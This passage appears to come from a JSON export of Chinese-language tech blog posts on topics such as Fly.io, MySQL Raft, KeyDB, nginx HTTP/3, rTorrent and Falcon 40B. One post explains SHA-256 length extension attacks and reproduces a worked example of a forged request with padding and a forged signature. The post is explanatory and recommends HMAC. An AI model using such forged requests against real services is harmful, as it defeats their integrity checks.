的版本，是跑起來了，但後來還是換到 V2 跑，雖然兩者用起來沒有太大區別 (參考「<a href=\"https://fly.io/docs/reference/apps/\">Fly Apps</a>」這邊的說明)，但畢竟官方打算都把 V1 掛上 legacy 了，新的專案就儘量別用了...\r\n\r\n另外一開始用 <a href=\"https://buildpacks.io/\">buildpacks</a> 編 Docker image，但發現太慢了，就還是去 <a href=\"https://hub.docker.com/\">Docker Hub</a> 上找個大戶人家包好的 image 來用。\r\n\r\n首先是 <a href=\"https://github.com/gslin/fly-vanilla-php/blob/master/fly.toml\">fly.toml</a> 這個檔案，這邊就直接指定用 <code>Dockerfile</code> 來編。\r\n\r\n然後是 <a href=\"https://github.com/gslin/fly-vanilla-php/blob/master/Dockerfile\">Dockerfile</a> 這個檔案，這邊用的 image 是 <a href=\"https://hub.docker.com/r/richarvey/nginx-php-fpm/\">richarvey/nginx-php-fpm</a> 這包，預設會開在 port 80，所以 <code>fly.toml</code> 裡面就把 <code>internal_port</code> 指定在 <code>80</code>。\r\n\r\n另外就是指定了 <code>WEBROOT</code>，我把 root 放在 <code>public/</code> 下面。\r\n\r\n跑起來以後就可以用他提供的網址測試了，我這個專案在 <a href=\"https://hidden-river-325.fly.dev/\">https://hidden-river-325.fly.dev/</a> 這邊可以看到，另外我有設定自己的 domain，在 <a href=\"https://test-fly.gslin.com/\">https://test-fly.gslin.com/</a> 也可以看到一樣的 <code>phpinfo();</code> 資訊。\r\n\r\n這邊有個小插曲，我想要掛自己的 domain 上去跑 HTTPS，但如果機器沒有掛 IPv6 address 的話，Fly.io 的系統不會認定設定已經完成，也就不會往下去申請 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的憑證，我放了一天覺得奇怪，摸了辦天才發現這個 \"feature\"。",
    "title": "在 Fly.io 上面跑 PHP"
  },
  {
    "id": "11191",
    "body": "看到「<a href=\"https://engineering.fb.com/2023/05/16/data-infrastructure/mysql-raft-meta/\">Building and deploying MySQL Raft at Meta</a>」這篇，在講 <a href=\"https://en.wikipedia.org/wiki/Meta_Platforms\">Meta</a> (<a href=\"https://www.facebook.com/\">Facebook</a>) 把 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 replication 架構換成自己用 <a href=\"https://en.wikipedia.org/wiki/Raft_(algorithm)\">Raft</a> 的系統。\r\n\r\n舊的系統是走 MySQL 的 semisync replication：\r\n\r\n<blockquote>Previously, our replication solution used the MySQL semisynchronous (semisync) replication protocol.</blockquote>\r\n\r\n其中 semisync replication 是在 MySQL 5.5 加入的功能，在至少一個遠端收到 replication log 後才傳回成功 (可以設定數量)：「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/replication-semisync.html\">Semisynchronous Replication</a>」。\r\n\r\n<blockquote>Semisynchronous replication falls between asynchronous and fully synchronous replication. The source waits until at least one replica has received and logged the events (the required number of replicas is configurable), and then commits the transaction.</blockquote>\r\n\r\n然後舊的系統是透過一包 <a href=\"https://www.python.org/\">Python</a> 軟體在管理這些機器的各種 failover 操作：\r\n\r\n<blockquote>The control plane operations (e.g., promotions, failover, and membership change) would be the responsibility of a set of Python daemons (henceforth called automation).</blockquote>\r\n\r\n這個方法常遇到的問題是切換 primary server (以前叫做 master server) 時有可能會因為 binlog position 接不起來而失敗。\r\n\r\n所以後來 MySQL 導入了 <a href=\"https://dev.mysql.com/doc/refman/5.7/en/replication-gtids-concepts.html\">GTID</a>，可以緩解這個問題，但還是有可能會發生不同的 secondary server (以前叫做 slave server) 會有不一樣的資料。\r\n\r\n而在 Meta 改出來的架構裡面，把 replication data 直接寫到一個用 Raft 同步的系統，同步到其他的 secondary server 上面：\r\n\r\n<blockquote>In MySQL Raft:\r\n<ul>\r\n\t<li>Primary writes to binlog via Raft, and Raft sends binlog to followers/replicas.</li>\r\n\t<li>Replicas/followers receive in binlog and apply the transactions to the engine. An apply log is created during apply.</li>\r\n\t<li>Binlog is the replicated log from the Raft point of view.</li>\r\n</ul></blockquote>\r\n\r\n是個一般單位不太會遇到的架構，而且可以預期其他公司的人遇到類似問題應該也不會用這個方法解...",
    "title": "Meta (Facebook) 把 MySQL replication 丟上自製的 Raft 系統"
  },
  {
    "id": "11192",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的文章，講 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 的各種數字 (大多都是費用)：「<a href=\"https://news.ycombinator.com/item?id=35978864\">Numbers every LLM developer should know (github.com/ray-project)</a>」，原文在「<a href=\"https://github.com/ray-project/llm-numbers\">Numbers every LLM Developer should know</a>」這邊。\r\n\r\n其中第一條就蠻重要的，如果你是用 API 依照 token 收費的話，叫 API 長話短說會省不少錢 XD\r\n\r\n<blockquote>40-90: Amount saved by appending “Be Concise” to your prompt</blockquote>\r\n\r\n第二條是給個感覺，換算 word 與 token，不過這邊講的應該是英文的：\r\n\r\n<blockquote>1.3:1 -- Average tokens per word</blockquote>\r\n\r\n後面也有蠻多數字的，都是讓你有個感覺。都讀過後就可以把 cheatsheet 留下來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1684456611-2778a6c9.webp\" /><img src=\"https://i.gslin.com/s/1684456611-2778a6c9.png\" alt=\"\" /></picture>",
    "title": "關於 LLM 的數字"
  },
  {
    "id": "11193",
    "body": "本來打算自己寫個程式訂閱 <a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a> 的資料，結果發現 <a href=\"https://crt.sh/\">crt.sh</a> 本身就有提供 <a href=\"https://en.wikipedia.org/wiki/Atom_(web_standard)\">Atom feed</a>。\r\n\r\n舉我的例子「<a href=\"https://crt.sh/?q=gslin.org\">crt.sh | gslin.org</a>」來說，對應的 Atom feed 就在 <a href=\"https://crt.sh/atom?q=gslin.org\">https://crt.sh/atom?q=gslin.org</a> 這邊。\r\n\r\n不過 crt.sh 的速度不快，我在使用 <a href=\"https://slack.com/\">Slack</a> 內建的 <code>/feed add</code> 加了很多次才成功，但設定好之後放著收更新就可以了，看起來還算方便。\r\n\r\n官方應該是可以把 feed 的筆數壓低，降低對後端 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的壓力才對，像是只丟最近 30 天的量就好，現在看起來是所有的 entry 都轉成 Atom feed 丟出來...",
    "title": "用 Atom feed 訂閱 crt.sh 的 Certificate Transparency"
  },
  {
    "id": "11195",
    "body": "桌機換成 <a href=\"https://en.wikipedia.org/wiki/Xubuntu\">Xubuntu</a> 22.04 後會遇到手動鎖定螢幕時，螢幕不會進入省電模式，遇到的情況有點像是「<a href=\"https://askubuntu.com/questions/1231740/dpms-suspend-on-screen-lock\">DPMS Suspend on Screen Lock</a>」這邊提到的情境。\r\n\r\n這類問題如果用 search engine 一時間沒有找到解法的話，最好的方法都是直接去讀 source code，然後就發現透過 <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>L</kbd> 觸發的 <a href=\"https://gitlab.xfce.org/xfce/xfce4-session/-/blob/master/scripts/xflock4\"><code>/usr/bin/xflock4</code></a> 其實是個 shell script，從 code 讀可以發現裡面只負責 lock 的部分，本來就跟 <a href=\"https://en.wikipedia.org/wiki/VESA_Display_Power_Management_Signaling\">DPMS</a> 無關。\r\n\r\n我在下面提供的方案就是自己處理螢幕的部分，也就是自己先跑 DPMS 指令，然後再回頭呼叫 <code>/usr/bin/xflock4</code>：\r\n\r\n<pre>#!/bin/sh\r\n/usr/bin/xset dpms force off\r\nexec /usr/bin/xflock4</pre>\r\n\r\n把 <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>L</kbd> 的觸發程式掛上來，這樣就會正常處理了...",
    "title": "XFCE (Xubuntu) 下的手動 lock + screensaver + DPMS 組合"
  },
  {
    "id": "11196",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到有支援 Multithreading 的 <a href=\"https://redis.io/\">Redis</a> fork：「<a href=\"https://news.ycombinator.com/item?id=36018149\">KeyDB – A Multithreaded Fork of Redis (keydb.dev)</a>」，官網在「<a href=\"https://docs.keydb.dev/\">KeyDB - The Faster Redis Alternative</a>」這邊。\r\n\r\n不過這篇是要記錄從 Hacker News 看到的雷點，這樣以後自己再找資料的時候會比較容找到。\r\n\r\n<a href=\"https://news.ycombinator.com/item?id=36022425\">36022425</a> 這篇是跳下去用發現不太行，最後在 application 端實作需要的 feature，後端還是用原廠的 Redis：\r\n\r\n<blockquote>To counter what the other active business said, we tried using KeyDB for about 6 months and every fear you concern you stated came true. Numerous outages, obscure bugs, etc. Its not that the devs aren’t good, its just a complex problem and they went wide with a variety of enhancements. We changed client architecture to work better with tradition Redis. Combined with with recent Redis updates, its rock solid and back to being an after-thought rather than a pain point. Its only worth the high price if it solves problems without creating worse ones. I wish those guys luck but I wont try it again anytime soon.\r\n\r\n* its been around 2 years since our last use as a paying customer. YMMV.</blockquote>\r\n\r\n另外是在專案裡搜尋「<a href=\"https://github.com/Snapchat/KeyDB/issues?q=is%3Aopen+is%3Aissue+label%3A%22Priority+1%22+\">is:open is:issue label:\"Priority 1\"</a>」的結果可以看到不太妙，在 <a href=\"https://news.ycombinator.com/item?id=36021108\">36021108</a> 這邊有提到的問題：\r\n\r\n<blockquote>Filed July, eventually marked priority 1 in early December, not a single comment or signs of fix on it since. That doesn't look good at all.</blockquote>\r\n\r\n然後 <a href=\"https://news.ycombinator.com/item?id=36020184\">36020184</a> 有提到 <a href=\"https://snap.com/\">Snap</a> 買進去後沒有什麼在管 open source project 的部分了：\r\n\r\n<blockquote>I think I'll stay far away from this thing anyway. Numerous show-stopper bug reports open and there hasn't been a substantial commit on the main branch in at least a few weeks, and possibly months. I'll be surprised if Snap is actually paying anybody to work on this.</blockquote>",
    "title": "KeyDB：使用 Multithreading 改善 Redis 的效能"
  },
  {
    "id": "11197",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面看到「<a href=\"https://news.ycombinator.com/item?id=36025099\">Cloud GPU Resources and Pricing (fullstackdeeplearning.com)</a>」這篇，原網頁是「<a href=\"https://fullstackdeeplearning.com/cloud-gpus/\">Cloud GPUs - The Full Stack</a>」，裡面有些有用的資源可以拉出來獨立看。\r\n\r\n雲端的選擇上，因為 <a href=\"https://en.wikipedia.org/wiki/Hopper_(microarchitecture)\">H100</a> 看起來還沒普及，所以用上一代的 <a href=\"https://en.wikipedia.org/wiki/Ampere_(microarchitecture)\">A100</a> (80GB) 來看，可以看到大的雲端跟其他家的差異還是蠻大的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1684720146-36616a25.webp\" /><img src=\"https://i.gslin.com/s/1684720146-36616a25.png\" alt=\"\" /></picture>\r\n\r\n不過這邊好像沒把 <a href=\"https://vast.ai/\">vast.ai</a> 放進來。\r\n\r\n地端的資訊主要是直接購買顯示卡時的選擇，可以看到如果除了各系列的旗艦卡外 (4090 &amp; 3090 &amp; 2080)，3060 是一張會在考慮到「便宜」而上榜的卡，應該是因為他是一張入門價位的顯卡，卻有 12GB VRAM 的關係：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1684719766-f7ca6327.webp\" /><img src=\"https://i.gslin.com/s/1684719766-f7ca6327.png\" alt=\"\" /></picture>\r\n\r\n在接下來七月要推出的 4060 會出 16GB VRAM 版本，應該會取代現在 3060 12GB VRAM 的地位...",
    "title": "雲端上面的 GPU 資源費用，以及地端的 GPU 決策圖"
  },
  {
    "id": "11199",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36047524\">Nginx 1.25.0: experimental HTTP/3 support (nginx.org)</a>」這則消息，從 <a href=\"https://nginx.org/\">nginx</a> 1.25.0 開始可以用 <a href=\"https://en.wikipedia.org/wiki/HTTP/3\">HTTP/3</a>。\r\n\r\n與 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 最大的差異就是從以往的 <a href=\"https://en.wikipedia.org/wiki/Transmission_Control_Protocol\">TCP</a> 改到 <a href=\"https://en.wikipedia.org/wiki/User_Datagram_Protocol\">UDP</a> 上了，這是基於 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 的經驗弄出來的東西...\r\n\r\nnginx 的支援算是等了一陣子了，不過沒有當初 <a href=\"https://en.wikipedia.org/wiki/HTTP/1.1\">HTTP/1.1</a> 到 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 的進步這麼明顯，我自己就沒有跟的那麼緊了。\r\n\r\n這樣以後 office firewall 預設應該會再開 443/udp？",
    "title": "nginx 開始嘗試支援 HTTP/3"
  },
  {
    "id": "11201",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 把我本來 read-only 的兩個應用程式停用掉了，加上這陣子的新聞，就改用其他方式來處理。\r\n\r\n用的是先前在「<a href=\"https://blog.gslin.org/archives/2023/04/10/11136/%e7%94%a8-rss-bridge-%e6%8e%a5%e6%9c%8d%e5%8b%99/\">用 RSS-Bridge 接服務</a>」提到的 <a href=\"https://github.com/RSS-Bridge/rss-bridge\">RSS-Bridge</a>，可以將 Twitter 的資料轉成 <a href=\"https://en.wikipedia.org/wiki/JSON_Feed\">JSON Feed</a>。\r\n\r\n其中 RSS-Bridge 是 <a href=\"https://www.php.net/\">PHP</a> 寫的，剛好就拿先前在「<a href=\"https://blog.gslin.org/archives/2023/05/16/11188/%e5%9c%a8-fly-io-%e4%b8%8a%e9%9d%a2%e8%b7%91-php/\">在 Fly.io 上面跑 PHP</a>」這邊提到的方法丟上 Fly.io，不需要自己架主機跑了。\r\n\r\n然後把 <a href=\"https://github.com/gslin/twitter2facebook\">twitter2facebook</a> 與 <a href=\"https://github.com/gslin/twitter2plurk\">twitter2plurk</a> 這兩個專案裡面本來抓 Twitter API 的程式碼改成抓 JSON Feed。\r\n\r\n先這樣子弄，之後再看看要不要搬...",
    "title": "用 Fly.io 跑 RSS-Bridge，再把現有的 twitter2facebook 與 twitter2plurk 改寫"
  },
  {
    "id": "11202",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=36058754\">Breaking SHA256: length extension attacks in practice (kerkour.com)</a>」，在講不當使用 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a> 會導致 <a href=\"https://en.wikipedia.org/wiki/Length_extension_attack\">Length extension attack</a> 類的安全漏洞，主要是因為 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a>、<a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 以及 <a href=\"https://en.wikipedia.org/wiki/SHA-2\">SHA-2</a> 類的 hash function 最後生出 hash 值時會暴露出 hash function 的內部狀態而導致的問題。\r\n\r\n這邊講的不當使用是指你沒有使用標準的 <a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\">MAC</a>，而是自己用字串組合實作造成的問題，通常是 <code>S = H(secret || message)</code> 這樣的形式，這邊的 <code>||</code> 是指字串相接。\r\n\r\n拿 MD5 為例子，在維基百科上面可以看到 MD5 演算法對應的 pseudo code，最後輸出的部分可以看到是把 <code>a0</code>、<code>a1</code>、<code>a2</code>、<code>a3</code> 這四個 32-bit variable 接起來，也就是把內部的狀態丟出來了：\r\n\r\n<pre>// Process the message in successive 512-bit chunks:\r\nfor each 512-bit chunk of padded message do\r\n    // ...\r\n\r\n    // Add this chunk's hash to result so far:\r\n    a0 := a0 + A\r\n    b0 := b0 + B\r\n    c0 := c0 + C\r\n    d0 := d0 + D\r\nend for\r\n\r\nvar char digest[16] := a0 append b0 append c0 append d0 // (Output is in little-endian)</pre>\r\n\r\n於是你在可以反推 padding 的結構之後 (會需要知道 <code>secret</code> 的長度)，就可以往後接東西繼續算下去，這就是被稱作 length extension attack。\r\n\r\n本來只有 <code>S = H(secret || message)</code>，你在不知道 secret 的情況下就可以疊字串到後面而且算出對應的 hash 值，變成 <code>S' = H(secret || message || evildata)</code>。\r\n\r\n維基百科給的例子也示範了怎麼「用」，這是原始的資料以及 server 端簽出來的 hash 值：\r\n\r\n<pre>Original Data: count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo\r\nOriginal Signature: 6d5f807e23db210bc254a28be2d6759a0f5f5d99</pre>\r\n\r\n於是我們想要蓋 <code>waffle</code> 參數，就變成：\r\n\r\n<pre>Desired New Data: count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo<strong>&amp;waffle=liege</strong></pre>\r\n\r\n攻擊者則可以不斷的嘗試，去猜測 padding 的結構，把計算出來對應的 hash 值丟到 server 看反應，直到看到 200 OK 的回應：\r\n\r\n<pre>New Data: count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo<strong>\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x28&amp;waffle=liege</strong>\r\nNew Signature: 0e41270260895979317fff3898ab85668953aaa2</pre>\r\n\r\n如同前面提到的，這是 hash function 在最後把內部狀態直接暴露出來造成的問題，在 MD5、SHA-1、SHA-2 (SHA-256、SHA-384、SHA-512) 都有類似的問題，而比較新的 hash function 在設計時就已經有考慮到了，不會出現這個問題，像是 <a href=\"https://en.wikipedia.org/wiki/SHA-3\">SHA-3</a>。\r\n\r\n另外一方面，不要自己發明演算法，使用標準的 MAC 演算法通常是比較好的選擇。這邊用的比較廣泛的應該就是 <a href=\"https://en.wikipedia.org/wiki/HMAC\">HMAC</a>，超過 25 年了。\r\n\r\n結論是 SHA-256 還是堪用，儘量拿現成的演算法套，不要自己搞。",
    "title": "SHA-256 的 Length extension attack"
  },
  {
    "id": "11203",
    "body": "用 <a href=\"https://github.com/rakshasa/rtorrent\">rTorrent</a> 算是很久了，在 <a href=\"https://en.wikipedia.org/wiki/Command-line_interface\">CLI</a> 下的 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> client。\r\n\r\n但 rTorrent 一直有卡頓的問題，這個週末決定還是找一下怎麼解，而在 <a href=\"https://old.reddit.com/\">Reddit</a> 上面可以看到討論：「<a href=\"https://old.reddit.com/r/seedboxes/comments/didt7d/rtorrent_stalling_freezing_caused_by_bad_tracker/\">Rtorrent stalling / freezing caused by bad tracker? I fixed my problem but I'm a bit puzzled.</a>」，其中就有提到是 <a href=\"https://github.com/rakshasa/libtorrent\">libtorrent</a> 因為 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System\">DNS</a> 查詢 blocking 的問題。\r\n\r\n不過這邊有些人已經提出了解法，其中一個是使用 <a href=\"https://openwrt.org/packages/pkgdata/libudns\">libudns</a> 達成 async DNS query 來解決這個問題，這個 branch 有進到官方的 git repository 裡面 (但沒有被 merge 到 master 上)：「<a href=\"https://github.com/rakshasa/libtorrent/tree/slingamn-udns.10\">rakshasa/libtorrent at slingamn-udns.10</a>」。\r\n\r\n看了一下雖然最後 commit 是 2019 年，但其實不算太舊，因為 master 從 2019 年到現在 2023 年也沒幾個 commit，不過直接用 slingamn-udns.10 的 libtorrent 搭最新版的 rtorrent 是編不起來的，主要是因為 <a href=\"https://en.wikipedia.org/wiki/IPv6\">IPv6</a> 的支援改變了一些程式的 API 介面。\r\n\r\n最後一個可以搭 rtorrent 的版本是 2021 年六月的 <a href=\"https://github.com/rakshasa/rtorrent/tree/582e4e40256b43d3e5322168f1e1ed71ca70ab64\">582e4e40256b43d3e5322168f1e1ed71ca70ab64</a>，也已經比目前最近的正式 release 0.9.8 (2019/07/19) 還新。\r\n\r\n把這些組合弄起來後跑了幾個小時，看起來順不少，暫時沒有遇到卡住的問題了...",
    "title": "處理 rTorrent 會卡頓的問題"
  },
  {
    "id": "11204",
    "body": "<a href=\"https://archive.org/\">Internet Archive</a> 更新一篇文章，說明前幾天被打掛的事情：「<a href=\"https://blog.archive.org/2023/05/29/let-us-serve-you-but-dont-bring-us-down/\">Let us serve you, but don’t bring us down</a>」。\r\n\r\n有 64 台機器 (或是 64 個 IP) 從 <a href=\"https://aws.amazon.com/\">AWS</a> 打了幾萬 rps 進 Internet Archive：\r\n\r\n<blockquote>Tens of thousands of requests per second for our public domain OCR files were launched from 64 virtual hosts on amazon’s AWS services. (Even by web standards,10’s of thousands of requests per second is a lot.)</blockquote>\r\n\r\n然後擋掉這些 IP 後恢復正常，但過了幾個小時後又換 IP 被打了：\r\n\r\n<blockquote>But, another 64 addresses started the same type of activity a couple of hours later.</blockquote>\r\n\r\n找了一下之前有寫過「<a href=\"https://blog.gslin.org/archives/2021/10/29/10401/%E9%99%90%E5%88%B6%E6%B5%81%E9%87%8F%E7%9A%84%E6%96%B9%E5%BC%8F-rate-limit/\">限制流量的方式 (rate limit)</a>」這篇，裡面提到 <a href=\"https://www.figma.com/\">Figma</a> 怎麼處理，另外以前自己搞 apache module 後面接 <a href=\"https://memcached.org/\">memcached</a> 達到跨機器統計的作法。\r\n\r\n就 Internet Archive 的服務來說，是應該要搞個類似的東西來擋，不然可以預期會不斷發生？",
    "title": "Internet Archive 被打"
  },
  {
    "id": "11206",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://www.nray.dev/blog/300ms-faster-reducing-wikipedias-total-blocking-time/\">300ms Faster: Reducing Wikipedia's Total Blocking Time</a>」這篇，作者 <a href=\"https://www.linkedin.com/in/nicholas-ray/\">Nicholas Ray</a> 是 <a href=\"https://wikimediafoundation.org/\">Wikimedia Foundation</a> 的工程師，雖然是貼在自己的 blog 上，但算是半官方性質了... 文章裡面提到了兩個改善都是跟前端 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 有關的。\r\n\r\n作者是透過瀏覽器端的 profiling 產生火焰圖，判讀裡面哪塊是大塊的問題，然後看看有沒有機會改善。\r\n\r\n先看最後的成果，可以看到第一個 fix 讓 blocking time 少了 200ms 左右，第二個 fix 則是少了 80ms 左右：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685409890-e1b02399.webp\" /><img src=\"https://i.gslin.com/s/1685409890-e1b02399.png\" alt=\"\" /></picture>\r\n\r\n第一個改善是從火焰圖發現 <code>l._enable</code> 吃掉很多 blocking time：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685409556-71b674ea.webp\" /><img src=\"https://i.gslin.com/s/1685409556-71b674ea.png\" alt=\"\" /></picture>\r\n\r\n作者發現是因為 <code>find()</code> 找出所有的連結後 (<code>a</code> 元素)，跑去每一個連結上面綁定事件造成的效能問題：\r\n\r\n<blockquote>The .on(\"click\") call attached a click event listener to nearly every link in the content so that the corresponding section would open if the clicked link contained a hash fragment. For short articles with few links, the performance impact was negligible. But long articles like ”United States” included over 4,000 links, leading to over 200ms of execution time on low-end devices.</blockquote>\r\n\r\n<script src=\"https://gist.github.com/gslin/1b86866f76c127219b9060101428c6c3.js\"></script>\r\n\r\n但這其實是 redundant code，在其他地方已經有處理了，所以解法就比較簡單，拔掉後直接少了 200ms：\r\n\r\n<blockquote>Worse yet, this behavior was unnecessary. The downstream code that listened to the hashchange event already called the same method that the click event listener called. Unless the window’s location already pointed at the link’s destination, clicking a link called the checkHash method twice — once for the link click event handler and once more for the hashchange handler.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685409802-3e60fa28.webp\" /><img src=\"https://i.gslin.com/s/1685409802-3e60fa28.png\" alt=\"\" /></picture>\r\n\r\n第二個改善是 <code>initMediaViewer</code> 吃掉的 blocking time，從 code 也可以看到問題也類似，跑一個 loop 把事件掛到所有符合條件的元素上面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685410082-3cc75d3a.webp\" /><img src=\"https://i.gslin.com/s/1685410082-3cc75d3a.png\" alt=\"\" /></picture>\r\n\r\n<script src=\"https://gist.github.com/gslin/3466ea4d1a2128cb20489294aadbfcf7.js\"></script>\r\n\r\n這邊的解法是 event delegation，把事件掛到上層的元素，就只需要掛一個，然後多加上檢查事件觸發的起點是不是符合條件就可以了，這樣可以大幅降低「掛」事件的成本。\r\n\r\n這點算是常用技巧，像是 <code>table</code> 裡面有事件要掛到很多個 <code>td</code> 的時候，會改成把一個事件掛到 <code>table</code> 上面，另外加上判斷條件。\r\n\r\n算是蠻標準的 profiling 過程，直接拉出真實數據來看，然後調有重大影響的部分。",
    "title": "改善 Wikipedia 的 JavaScript，減少 300ms 的 blocking time"
  },
  {
    "id": "11207",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Matt_Mullenweg\">Matt Mullenweg</a> 寫了一篇文章簡單提到 <a href=\"https://wordpress.org/\">WordPress</a> 誕生 20 年：「<a href=\"https://ma.tt/2023/05/wp20-audrey-scholars/\">WP20 &amp; Audrey Scholars</a>」。\r\n\r\n雖然 Matt Mullenweg 在文章裡都沒提到，但 WordPress 的興起其實跟當年 2004 年最大的 blog 軟體 <a href=\"https://en.wikipedia.org/wiki/Movable_Type\">Movable Type</a> 自己出的包有很大的關係：\r\n\r\n<blockquote>With the release of version 3.0 in 2004, there were marked changes in Movable Type's licensing, most notably placing greater restrictions on its use without paying a licensing fee. This sparked criticism from some users of the software, with some moving to the then-new open-source blogging tool WordPress. With the release of Movable Type 3.2, the ability to create an unlimited number of weblogs at all licensing levels was restored. In Movable Type 3.3, the product once again became completely free for personal users.</blockquote>\r\n\r\n當年 <a href=\"https://twitter.com/hlb\">hlb</a> 在社團主機上用 Movable Type 架了服務讓大家寫，結果後來發生了 license 問題，大家就都順勢跑到 WordPress 上了；而等到 Movable Type 再次想放寬 license 的時候已經來不及了，大家都已經搬完了。\r\n\r\n翻了一下最舊的文章 (在另外一個 WordPress 上) 是在 2004 年十月的時候寫的，就有提到當時從 Movable Type 換到 WordPress 的考量：「<a href=\"https://old.gslin.org/2004/10/03/3/\">開場：為什麼用 WordPress</a>」。",
    "title": "WordPress 誕生 20 年"
  },
  {
    "id": "11208",
    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 裡面講的 Open 不是 <a href=\"https://en.wikipedia.org/wiki/Open-source_license\">open-source license</a> 的定義，比較接近「免費使用」而已，通常會帶有限制。\r\n\r\n但即使放寬到「免費使用」，<a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a> 65B 從二月放出來 (或者說「被放出來」) 已經領頭領了三個多月了，直到上個禮拜看到被 <a href=\"https://huggingface.co/tiiuae/falcon-40b\">Falcon 40B</a> 超越的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">LLaMa is dethroned ? A brand new LLM is topping the Open Leaderboard: Falcon 40B ?<br><br>*interesting* specs:<br>- tuned for efficient inference<br>- licence similar to Unity allowing commercial use <br>- strong performances<br>- high-quality dataset also released<br><br>Check the authors&#39; thread ? <a href=\"https://t.co/vojobBXFQT\">https://t.co/vojobBXFQT</a> <a href=\"https://t.co/BuOLnHebhU\">pic.twitter.com/BuOLnHebhU</a></p>&mdash; Thomas Wolf (@Thom_Wolf) <a href=\"https://twitter.com/Thom_Wolf/status/1662085371826405377?ref_src=twsrc%5Etfw\">May 26, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在「<a href=\"https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard\">Open LLM Leaderboard</a>」這邊的 benchmark 可以看到除了 TruthfulQA (0-shot) 以外，其他的都領先，而綜合平均值也是領先的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1685584180-1474ef4e.webp\" /><img src=\"https://i.gslin.com/s/1685584180-1474ef4e.png\" alt=\"\" /></picture>\r\n\r\n而往下拉可以看到 7B 的版本表現也不錯，之後應該也可以再 tune。\r\n\r\n更重要的是，剛剛看到這個 model 把授權改成 <a href=\"https://en.wikipedia.org/wiki/Apache_License_2.0\">Apache License 2.0</a> 的消息，這所以 LLaMA 的替代方案總算有樣子了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">The license of the Falcon 40B model has just been changed to… Apache-2 which means that this model is now free for any usage including commercial use (and same for the 7B) ? <a href=\"https://t.co/LZcmejPdf5\">https://t.co/LZcmejPdf5</a></p>&mdash; Thomas Wolf (@Thom_Wolf) <a href=\"https://twitter.com/Thom_Wolf/status/1663986216771936263?ref_src=twsrc%5Etfw\">May 31, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外看了一下，這包 model 是在 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/sagemaker/\">SageMaker</a> 上面幹出來的，翻了一下 <a href=\"https://en.wikipedia.org/wiki/Technology_Innovation_Institute\">Technology Innovation Institute</a>，真不愧是有錢的單位：\r\n\r\n<blockquote>Falcon-40B was trained on AWS SageMaker, on 384 A100 40GB GPUs in P4d instances.</blockquote>\r\n\r\n<blockquote>The Technology Innovation Institute (TII) is an Abu Dhabi government funded research institution that operates in the areas of artificial intelligence, quantum computing, autonomous robotics, cryptography, advanced materials, digital science,[4] directed energy and secure systems. The institute is a part of the Abu Dhabi Government’s Advanced Technology Research Council (ATRC).</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 